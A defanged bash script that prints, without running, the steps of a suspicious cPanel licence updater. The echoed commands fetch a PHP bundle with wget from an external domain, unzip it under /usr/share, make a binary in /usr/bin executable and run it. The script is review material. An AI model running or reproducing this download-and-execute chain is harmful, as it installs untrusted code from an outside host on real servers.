#!/usr/bin/env bash
# Review-only extraction of the behavior observed in gblicensecp_update.
# This script is intentionally NON-EXECUTING: it prints actions instead of running them.
# Reason: the original file chain performs download-and-execute from external domains and may be unsafe or unauthorized.
#
# If you have a legitimate, authorized use-case, review this file carefully and only then decide what to run
# in a controlled environment (VM/sandbox) with network monitoring.

set -euo pipefail

key="cpanel"
filename="gblicensecp"
file_path="/usr/bin/$filename"

PHP_DIR="/usr/share/goba/php/71"
PHP_BIN="$PHP_DIR/bin/php"
ZIP_PATH="/usr/share/goba/php/php-71.zip"
ZIP_URL="https://akselcash.site/scripts/php-71.zip"

echo "[INFO] Would check for PHP binary: $PHP_BIN"
if [[ ! -f "$PHP_BIN" ]]; then
  echo "[INFO] Would create directories:"
  echo "  mkdir -p /usr/share/goba/php"
  echo "[INFO] Would download PHP 7.1 bundle:"
  echo "  wget -q -O "$ZIP_PATH" "$ZIP_URL""
  echo "[INFO] Would unzip it:"
  echo "  (cd /usr/share/goba/php && unzip -o php-71.zip)"
else
  echo "[INFO] PHP binary exists; would not download PHP bundle."
fi

echo "[INFO] Would ensure executable bit on: $file_path"
echo "  chmod +x "$file_path""

echo "[INFO] Would execute:"
echo "  "$file_path" --cpanel-update"

echo
echo "[DONE] Review complete. No changes were made by this review-only script."
